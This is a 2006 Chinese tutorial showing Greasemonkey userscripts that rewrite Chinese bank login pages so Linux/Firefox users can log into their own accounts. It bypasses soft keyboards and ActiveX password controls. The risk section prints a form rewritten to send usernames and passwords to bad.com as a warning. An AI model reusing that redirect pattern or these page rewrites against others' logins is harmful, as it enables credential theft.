歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Unix知識 >> 關於Unix >> Linux + Firefox 登陸網上銀行――巧用Greasemonkey擴展

Linux + Firefox 登陸網上銀行――巧用Greasemonkey擴展

日期:2017/3/6 14:31:30   编辑:關於Unix
前言 本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和 Java Script不甚熟悉的話。按本文的例子行動還會有很大風險。 本文的作者拒絕對本文的正確性提供任何形式的擔保,包括但不限於明示和暗示

前言


  本文不是一篇Hacker教程。你必需使用自己的用戶名和密碼登陸銀行,而不是猜測別人的。甚至如果你對Firefox擴展和JavaScript不甚熟悉的話。按本文的例子行動還會有很大風險。

  本文的作者拒絕對本文的正確性提供任何形式的擔保,包括但不限於明示和暗示的。

  Greasemonkey是Firefox 的一種非常強大的擴展,能夠在網也內容讀入之後,頁面顯示在浏覽器之前執行指定的JavaScript腳本。Greasemonkey 的下載地址。使用方法可以參考如何使用Greasemonkey。本文所介紹的方法,要首先要安裝這個擴展。而且您要仔細查看使用說明,才能夠理解本文所描述的方法。
  其實另外一個被廣泛下載的擴展Web Developer ,也能實現本文所描述的功能,但更為復雜。

  我們雖然能成功地以旁門左道登錄網上銀行,但這未必是最好的方法,筆者希望每位從本文得到幫助的讀者,都能給你開戶銀行的webmaser發一封email,要求該行能夠直接支持Firefox。如果對方能夠修改網頁界面支持Firefox,下次評選最佳網行銀行的時候,您就可以考慮投他一票。本文附錄中列出了部分銀行網站webmaster的email地址。


概論

  經常有人說可以在計算機中完全使用Linux生活和工作,但實際上在中國大陸還不能做得到。拿本人來說,我有99.9%的時間都是使用Linux的。不論是寫C或Shell程序,聽音樂、看電影、在棋聖道場(http://weiqi.com.tom)看棋譜,或是在Yaoo游戲打橋牌,都絕無問題甚至游刃有余。但仍然有一個重要的原因使我不能脫離Windows 系統,就是Linux無法登陸某些國內的網上銀行。無論如何,我不能和錢過不去。
  最近,MS開始禁止盜版Windows進行網上自動更新,這對很多人無疑是一個打擊,這更堅定了我拋棄Windows系統的決心。本人目前的職業是Linux教師,深深地熱甃inux/FreeBSD一類的開源軟件,非常希望能像理查德.斯托爾曼一樣,完全用開源軟件。如果有些做不到,就爭取無限接近。開源軟件的最大優點之一就是可以自己動手編寫一些東西。筆者雖然不是程序員,但也能折騰兩下。

  國內的銀行現在用多如牛毛來形容,應該是一點都不過分的。下面的銀行列表表格摘自 hao123網站

銀行列表略,見pdf版本。


  很多銀行本人根本沒有帳號,所以並不關心。據說“洋”行的網站基本對所有浏覽器都支持,包括IE 、Firefox、Opera、Safari等。但以前聽說過一在英國發生的新聞,某用戶在使用Lynx軟件訪問銀行的時候,竟被懷疑是黑客,導致警察上門。所以說,外國的月亮確實圓一點,但也很有限。

  上表中我標出兩個綠底的,北京銀行和中國銀行。前者可以很好地支持Firefox,後者據同事說可以支持Firefox。這裡只能對他們的網站設計和人員表示敬意。
  三個藍底的銀行,招商銀行、建設銀行、交通銀行我都有帳號,是不能直接使用FireFox的。其中招商銀行和交通銀行的登錄頁面上有ActiveX控件,不能被Firefox所支持。而建設銀行的頁面,有一個Firefox所無法使用的軟鍵盤。工商銀行我雖然沒帳號,但知道也不兼容FireFox。

  隨機挑選了幾個大陸以外的銀行,發現除了招商銀行香港分行以外,都可以使用Firefox。”和國際接軌“的口號大家已經聽煩了,從火車票的票價到大學生的學費都如此,下一個接軌的據說是北京的士的車費。但什麼時候春風能吹到銀行呢?

  網上銀行登錄頁面的作用,在讓客戶提交正確的帳號、密碼以及其他信息。只要我們能夠正確的提交數據,無論頁面采用ActiveX還是ActiveY技術,都不會影響我們使用。下面我們來具體分析一下各家銀行頁面的作用。
  能夠提交數據的途徑是修改登錄頁面。例如下列的html代碼。


<form method=post action="http://foo.com/cgi-bin/test.pl">
username:<input name=username type=text><br>
password:<input name=password type=password><br>
<input name=submit type=submit value="OK">
</form>
  如果我們用浏覽器訪問該頁面並在用戶名和密碼部分填寫zhang3和123.並點擊OK按鈕,就會將數據提交給http://foo.com/cgi-bin/test.pl處理。甚至你可以直接在你的浏覽器地址欄上直接輸入http://foo.com/cgi-bin/test.pl?username=z3&password=123 ,效果通常相同。
  網上銀行比這要復雜一些,因為很多銀行存在一個圖片”驗證碼“,這無法用直接提交的方式發送數據。必需登錄銀行指定的登錄界面。
  剛開始研究這個問題的時候,筆者嘗試通過建立一個FireFox的擴展的方式登錄網上銀行,在深入研究了XUL、DOM等文檔後,成功地開發出了自己的擴展,但隨後發現,利用現有的Greaemonkey擴展是個更簡單的方案。
  Greasemonkey擴展既然可以運行Javascipt腳本,我們就能夠利用腳本動態修改頁面,使得其能夠被Firefox顯示並且能提交正確的數據。首先分析原因所在,其中最容易的就是建設銀行。


建設銀行


  
  建行網上銀行的登陸入口

  此頁面的問題在於,如果使用Windows+IE ,當試圖輸入密碼時,會打開一個軟鍵盤來輸入,這有一定的安全性,但也就只能防止某些可以記錄鍵盤輸入的間諜軟件而已,但使用Firefox,就根本不能輸入密碼。

 其部分代碼如下(除去了一些定義外觀的部分):


<td nowrap>證件號碼:</td> <td nowrap colspan=3><input name="USERID" type="text" title="證件號碼"></td>
<tr>
<td nowrap>登錄密碼:</td>
<td nowrap colspan=3><input id="LOGPASS" name="LOGPASS" type="password" title="登錄密碼" readOnly onKeyDown="Calc.password.value=this.value" onChange="Calc.password.value=this.value" onclick= "password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></td> </tr>
  核心問題就是在上述代碼中我用紅色標出的readOnly屬性,這使得我們不能夠直接輸入密碼,而只能借助於前文所說的軟鍵盤。
  我寫了下面的腳本,用來重寫一個標准的密碼框來取代原有的部分,內容如下:


1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name ccb Assist
4.// @description ccb Assist
5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN
6.// ==/UserScript==
7.var passArea=document.getElementsByTagName("td")[104];
8.passArea.innerHTML='<input id="LOGPASS" name="LOGPASS" type="password" class="textlogin" size="20" minLength="6" maxLength="12" title="password">';
9.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n' ;
10.alert(alertMessage);
  前4行都是描述性的。第5行指出了本腳本針對的網頁。
  第7行得到指定的<td>和</td>之間的內容,並在第8行中替換成我們自己的格式。第9行和第10行是彈出一個關於版權和警告信息的窗口,提醒用戶注意。當然,最後這兩行不是必需的。
  
  把此腳本命名為jianhang.user.js後,直接用Firefox打開。並安裝。
  現在用Firefox打開建行的登錄界面,就能輸入卡號和密碼了,正確輸入數據並且提交後,進入了下個界面。
     在左上方能正確地看到本人的名字,下方顯示的廣東分行也是正確的(以前在廣東開的戶)。沉浸在喜悅當中的我,馬上點右下的“不使用證書進入”。
  唉!!!!,只能說十分遺憾。建行網站的內部仍然不支持IE,還的另想辦法。
辦法就是繼續研究html界面,並用適當的內容替換之。因為工作量的關系,筆者放棄了對建設銀行的接續研究。
  中國銀行的網上銀行登錄界面同樣也有一個軟鍵盤,但是用戶可以選擇使用或不使用之。從網站界面設計的方面評價,建設銀行無疑是和中國銀行有些差距了。國際話不能光在嘴上說。要落實在行動上。


交通銀行


  
  接下來我們看看交通銀行,交通銀行的登陸界面


  交行的登陸界面上用一個ActiveX控件輸入密碼,這在Linux + Firefox 的環境下是無法顯示的。我們的辦法是在登陸此界面後,用Firefox 的擴展來修改登陸界面上的內容。重新生成一個Firefox能夠正確顯示的表單(Form),交通銀行的腳本如下:


1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name JiaoHang Assist
4.// @description JiaoHang Assist
5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
6.// ==/UserScript==
7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nPlease input Card Number on "Card Number"\nPlease input your password on "PassWord"\nPlease Input adding code below "Picture Code"\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n JIE JI Card Only\n' ;
9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' +
10. '\n <input type="hidden" name="netType" value="0"/> '+
11. '\n <input type="hidden" name="language" value="zh_CN"/> '+
12. '\n <input type="hidden" name="userType" value="02"/> '+
13. '\nCard Number<input name="cardNo" type="text" maxLength="17" > '+
14. '\n<br>\nPassWord<input type="password" id="password" name="password" > ' +
15. '\n<br>Picture Code<input name="reqCode" type="text" maxLength="6" size="10" >' +
16. '\n <input type="hidden" name="cardType" value="0" /> '+
17.
18. '</form>'+
19. '<a href="javascript:document.getElementById(\'frmLogon\').submit()"><img src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage);
  第8行和第18行定義和顯示了一個對話框,內容是對使用本腳本的客戶機的一個警告信息,不是必要的。第9-19行中我們增加了一個新的表單,能夠提交正確的數據。  雖然界面目前被改的很丑陋,但能夠工作。輸入正確的數據後,可以進入網上銀行,查看自己帳號的情況。


風險分析

  從上面的例子裡可以看出,Firefox的擴展功能十分的強大。可以直接對頁面進行修改。但這裡也存在相當大的風險。
  比如如果某頁面存在一個表單,定義如下:


1.<form method=post action="http://good.com/cgi-bin/test.pl">
2.用戶名:<input id="username" name=username type=text ><br>
3.密 碼:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>
  這段內容原本會將數據提交到good.com上的test.pl處理,但如果惡意代碼將其改為:


1.<form method=post action="http://bad.com/cgi-bin/test.pl">
2.用戶名:<input id="username" name=username type=text ><br>
3.密 碼:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>
  這會導致原本應該發送給good.com的數據被發送給bad.com。風險極大。


招商銀行

  相比於上面兩個銀行,招商銀行的難度要高一些。招商銀行使用的ActiveX控件,能夠使得卡號和密碼在提交前就被ActiveX所加密,密文具有一定的隨機性。然後再提交數據。筆者認為這並不是必要的,但毫無疑問,這種機制加大了我工作的難度。
  
  如果能分析出這個加密算法並用JavaScript實現,招商銀行的問題也就解決了。從密碼學的原理來說,已知明文和密文,分析出算法並不是件非常困難的事情。但這需要時間。


  目前筆者還沒有分析出算法,但使用某種技巧,筆者能針對任意帳號和密碼在自己的電腦上生成密文。這樣雖然未知加密算法。但可以先得到自己帳號密碼的密文內容,然後通過修改網頁的方式提交出去。當然,這種方式暫時只能自學自用,不便公開。事實上,因為招行的網站有很多”桢“(Frame)。修改起來過於麻煩。目前的計劃是不久以後注銷掉招商銀行的帳號。

  據說工商銀行的ActiveX也有類似的機制,因為沒有工行帳號,就不准備進一步研究了。但相信也可以通過和招商銀行類似的方式解決。

風險提示和後記

  
  對於一般的用戶,特別要注意不要安裝來路不明的擴展和腳本,這其中的風險幾乎相當於自己給自己安裝一個木馬。因為除了JavaScript語言開發以外,Firefox的擴展還可以使用Java、C/C++等語言開發,能夠實現非常底層的功能,甚至格式化你的硬盤。

  感謝筆者現在的雇主—北大青鳥(北京華源)授權培訓中心,沒有給安排給我太多的工作任務,使得能夠有足夠的時間和精力,深入研究自由軟件的各種技術,回報自由軟件社區。

定稿於2006年5月7日

附錄:
部分不支持FireFox的銀行及其webmaster 的email地址:
中國工商銀行 [email protected]
中國農業銀行 [email protected]
交通銀行   [email protected]
中國建設銀行 首頁上未標明
招商銀行   首頁上未標明

Copyright © Linux教程網 All Rights Reserved